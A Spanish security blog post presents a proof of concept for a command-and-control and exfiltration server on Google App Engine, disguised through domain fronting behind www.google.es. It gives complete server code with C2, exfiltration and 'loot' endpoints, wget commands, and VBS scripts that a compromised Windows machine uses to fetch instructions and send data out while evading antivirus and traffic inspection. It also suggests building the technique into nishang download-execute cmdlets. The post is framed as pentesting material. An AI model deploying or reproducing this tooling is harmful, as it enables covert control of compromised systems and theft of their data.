PoC simple de C2 con domain fronting sobre GAE

En esta entrada seguimos con domain fronting. En esta ocasión vamos a explorar cómo implementar un PoC simple de un servidor de mando y control, y exfiltración sobre Google App Engine (GAE en adelante), y veremos cómo conseguir el domain fronting desde Windows, con un script VBS o PowerShell, para ocultar las interacciones con el servidor C2.

El objetivo

Cuando lo tengamos todo desplegado, dispondremos de un servicio web en myc2server.appspot.com que podremos utilizar desde un equipo Windows comprometido de la siguiente forma: contaremos con un canal de mando y control (sobre la ruta /e2e7765b71c1, a modo de autenticador):

$ wget -qO- https://www.google.es/e2e7765b71c1 --header='Host: myc2server.appspot.com'
Your instructions here...

Canal de exfiltración (sobre otra URL, /858e6f3e2b7b):

$ wget -qO- https://www.google.es/858e6f3e2b7b/datatoexfiltrate --header='Host: myc2server.appspot.com'

Y por último, un canal de consulta (a utilizar por el atacante para obtener la información exfiltrada, sobre la URL /cf0a5906cadb):

$ wget -qO- https://www.google.es/cf0a5906cadb --header='Host: myc2server.appspot.com'
2017-01-29 18:15:29.672190: foobar1
2017-01-29 18:48:59.218880: datatoexfiltrate
2017-01-29 18:15:35.669210: foobar2
2017-01-29 18:50:59.136870: datatoexfiltrate
2017-01-29 19:03:09.130570: datatoexfiltrate

Como vemos, todas las interacciones con el servidor están camufladas con domain fronting como peticiones cifradas contra www.google.es.

Google App Engine para pentesters

En primer lugar crearemos la app en GAE, visitando la siguiente URL con nuestra cuenta de Google:

https://console.cloud.google.com/project

Importante especificar myc2server tanto en el nombre de la app como su ProjectID, pues de lo contrario Google asigna un nombre al azar.

Para desarrollar y desplegar la app sobre Linux, descargamos el SDK de GAE. En este caso, hemos optado por utilizar Python, aunque es posible emplear otros lenguajes como Golang, PHP, Java…):

https://cloud.google.com/sdk/?hl=es

Cuando lo tengamos, lo dejamos caer en nuestro home, ejecutando el script install.sh que modifica el PATH y demás elementos necesarios. A continuación, es necesario asociar nuestra instalación del SDK con nuestra cuenta de Google. Esto se hace ejecutando el comando:

$ gcloud init

Al ejecutarlo, se abrirá nuestro navegador web y podremos iniciar sesión y concederle a Google App Engine los permisos necesarios en nuestra cuenta de Google, tras lo cuál podremos listar los proyectos activos, entre los que figura myc2server:

$ gcloud projects list
PROJECT_ID  NAME        PROJECT_NUMBER
myc2server  myc2server  123456789123

Nuestra app, muy sencilla, consistirá en dos ficheros: app.yaml (descriptor de la app) y main.py (código fuente):

$ cat app.yaml 
runtime: python27
api_version: 1
threadsafe: true

handlers:
- url: /.*
  script: main.app

$ cat main.py 
import webapp2
from google.appengine.ext import ndb

class ExfiltratedData(ndb.Model):
    date = ndb.DateTimeProperty(auto_now_add=True)
    data = ndb.StringProperty(indexed=False)

class CommandControl(webapp2.RequestHandler):
    def get(self):
        self.response.headers["Content-Type"] = "text/plain"
        self.response.write('Your instructions here...')

class Exfiltrate(webapp2.RequestHandler):
    def get(self, data):
        loot = ExfiltratedData()
        loot.data = data
        loot.put()

class ShowLoot(webapp2.RequestHandler):
    def get(self):
        self.response.headers["Content-Type"] = "text/plain"
        loot = ExfiltratedData.query().fetch()
        for result in loot:
            self.response.write("%s: %s\n" % (result.date, result.data))

app = webapp2.WSGIApplication([
    (r"/e2e7765b71c1", CommandControl),
    (r"/858e6f3e2b7b/(.+)", Exfiltrate),
    (r"/cf0a5906cadb", ShowLoot),
], debug=True)

Como vemos, en el fichero app.yaml delegamos todo el código al fichero main.py, que se ocupará de servir todas las URL. En cuanto al código en sí, podemos utilizar diferentes frameworks de desarrollo en Python, como Django, pero para este PoC sencillo hemos empleado webapp2, que viene por defecto en GAE.

El siguiente código define el routing de las URL a las diferentes clases:

app = webapp2.WSGIApplication([
    (r"/e2e7765b71c1", CommandControl),
    (r"/858e6f3e2b7b/(.+)", Exfiltrate),
    (r"/cf0a5906cadb", ShowLoot),
], debug=True)

Tenemos, por lo tanto, tres clases que se ocuparán de los tres canales (mando y control, exfiltración y listado) mencionados antes. El “(.+)” en la URL de exfiltración le indica a webapp2 que esa URL toma un parámetro por GET (la información a exfiltrar en sí).

La clase CommandControl simplemente proporciona las instrucciones en modo texto, aunque también podría proporcionar un binario codificado, un script a ejecutar, o cualquier otra cosa. Podríamos parametrizar todo para que fuera cómodo añadir nuevas instrucciones o artefactos:

class CommandControl(webapp2.RequestHandler):
    def get(self):
        self.response.headers["Content-Type"] = "text/plain"
        self.response.write('Your instructions here...')

Para la parte de exfiltración, hemos optado por utilizar uno de los mecanismos de almacenamiento de GAE: Google Cloud Datastore. Viene a ser una especie de base de datos débilmente tipada. Otra opción, que quizá sería más conveniente para almacenar blobs binarios con la información exfiltrada (por ejemplo, ficheros enteros), sería Google Cloud Storage, pero es algo más complicada de utilizar.

El primer paso es definir las entidades que almacenarán la información. En nuestro caso tan sólo un objeto con la fecha y los datos exfiltrados:

class ExfiltratedData(ndb.Model):
    date = ndb.DateTimeProperty(auto_now_add=True)
    data = ndb.StringProperty(indexed=False)

Para almacenar la información, basta con instanciar la clase, rellenarla con la información que nos llega como parámetro en el GET e invocar el método put():

class Exfiltrate(webapp2.RequestHandler):
    def get(self, data):
        loot = ExfiltratedData()
        loot.data = data
        loot.put()

Podremos acceder a los datos exfiltrados a través de la consola de desarrollo de Google App Engine:

Para obtenerlos desde el código, se utiliza el método ExfiltratedData.query().fetch(), iterando sobre los resultados y mostrándolos en modo texto:

class ShowLoot(webapp2.RequestHandler):
    def get(self):
        self.response.headers["Content-Type"] = "text/plain"
        loot = ExfiltratedData.query().fetch()
        for result in loot:
            self.response.write("%s: %s\n" % (result.date, result.data))

Para desplegar la app sobre GAE, nos situamos en el directorio donde hemos dejado los anteriores ficheros y ejecutamos:

$ gcloud app deploy --project=myc2server
You are creating an app for project [myc2server].
WARNING: Creating an app for a project is irreversible.

Please choose a region for your application. After choosing a region, 
you cannot change it. Which region would you like to choose?

 [1] europe-west   (supports standard)
 [2] us-central    (supports standard and flexible)
 [3] us-east1      (supports standard and flexible)
 [4] asia-northeast1 (supports standard and flexible)
 [5] cancel
Please enter your numeric choice:  1

Creating App Engine application in project [myc2server] and region [europe-west]
....done.                                                                       
You are about to deploy the following services:
 - myc2server/default/123456789123456 (from [/home/pablo/myc2server/app.yaml])
     Deploying to URL: [https://myc2server.appspot.com]

Do you want to continue (Y/n)?  

Beginning deployment of service [default]...
File upload done.
Updating service [default]...done.                                              
Deployed service [default] to [https://myc2server.appspot.com]

You can read logs from the command line by running:
  $ gcloud app logs read -s default

To view your application in the web browser run:
  $ gcloud app browse

Domain fronting desde Windows

Para utilizar el anterior servicio web con domain fronting desde un equipo Windows comprometido, podríamos simplemente utilizar el binario de wget para Windows, pero es mejor utilizar algo como VBS script o PowerShell, ya que vienen por defecto en Windows y podemos ejecutar desde memoria, evadiendo AV, entre otras ventajas.

Tras varias pruebas, una forma de implementar domain fronting es utilizando el método navigate() del componente COM InternetExplorer.Application. Esto tiene la ventaja añadida de que como estamos realmente instrumentando un Internet Explorer completo, todos los client fingerprints serán los mismos. Por ejemplo, para obtener las instrucciones desde el C2, escribiríamos el siguiente código en VBS script:

Set ie = WScript.CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.Navigate "https://www.google.es/e2e7765b71c1", 14, Null, Null, "Host: myc2server.appspot.com"
Do While ie.Busy
    Wscript.Sleep 100
Loop
wscript.echo(ie.document.body.innerText)
ie.Quit

La clave está en el quinto parámetro del método navigate(), donde podemos indicar cabeceras HTTP adicionales, en este caso la cabecera Host, para lograr el domain fronting. Esto mismo lo podríamos implementar en PowerShell con un código muy similar. Realicé otras pruebas, por ejemplo utilizando el objeto .NET WebRequest, pero sólo admite fijar una cabecera Host personalizada en versiones recientes de PowerShell (desde luego, no lo permite con la versión 2.0). Lo mismo ocurre con funciones como Invoke-WebRequest. Hay otras librerías y componentes COM con los que es posible realizar peticiones web, como msxml2 pero queda por ver si permitirían o no domain fronting.

El código para exfiltrar con VBS es muy similar:

Set ie = WScript.CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.Navigate "https://www.google.es/858e6f3e2b7b/datatoexfiltrate", 14, Null, Null,
    "Host: myc2server.appspot.com"
Do While ie.Busy
    Wscript.Sleep 100
Loop
wscript.echo(ie.document.body.innerText)
ie.Quit

En cualquiera de los dos casos, lo único que se “ve” es tráfico HTTPS desde y hacia www.google.es y la correspondiente resolución DNS:

Podría ser interesante implementar domain fronting para algunas de las funcionalidades de frameworks PowerShell para pentesting, como nishang; por ejemplo, entre otras:

  • En la funcionalidad Client, para droppear artefactos a través de un dominio frontal.
  • En el cmdlet Do-Exfiltration.
  • En cmdlets como Download-Execute-PS, para descargar los scripts PowerShell a ejecutar utilizando domain fronting.

¡Hasta el próximo post!
@pmarinram